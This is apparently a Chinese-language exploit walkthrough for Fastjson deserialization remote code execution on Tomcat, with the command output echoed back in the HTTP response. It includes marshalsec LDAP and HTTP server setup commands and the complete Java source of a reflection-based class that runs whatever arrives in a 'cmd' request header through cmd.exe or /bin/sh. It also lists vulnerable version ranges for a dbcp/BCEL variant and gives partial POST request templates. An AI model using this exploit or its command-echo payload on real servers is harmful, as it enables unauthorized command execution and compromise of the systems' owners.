Fastjson回显
LDAP
- 先启动一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.
0.0.1:6666/#Cat
- 再启动http服务
py -3 -m http.server --bind 127.0.0.1 6666
再http服务下的目录创建一个
XXX.java
文件 然后Javac XXX.java
文件内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70public class Cat {
public Cat()throws Exception{
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getDeclaredField("handler");
}catch (NoSuchFieldException e){
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getSuperclass().getDeclaredField("global");
}catch(NoSuchFieldException e){
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List)(f.get(obj));
for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
if (flag) break;
}
if (flag) break;
}catch(Exception e){
continue;
}
}
}
}payload 直接发送
1 | { |
- 直接回显
基于dbcp的fastjson rce 回显
- fastjson <= 1.2.24
- 1.2.33 <= fastjson <= 1.2.47
- jdk <= 8u251
- 存在 tomcat-dbcp
首先将AllEcho.java
编译生成AllEcho.class
文件,然后用BCELEncode 对class 文件进行bcel编码
- fastjson <= 1.2.24 poc
- 解析使用的JSON.parse()
1 | POST /json HTTP/1.1 |
注意修改Content-Type: application/json
- 1.2.33 <= fastjson <= 1.2.47 poc
- JSON.parseObject()
- 还需要调用toJSONString()
- 注意修改
Content-Type: application/json
1 | POST /json HTTP/1.1 |
AllEcho.java 对于其他的中间件的兼容效果比较好。
1 | public class AllEcho { |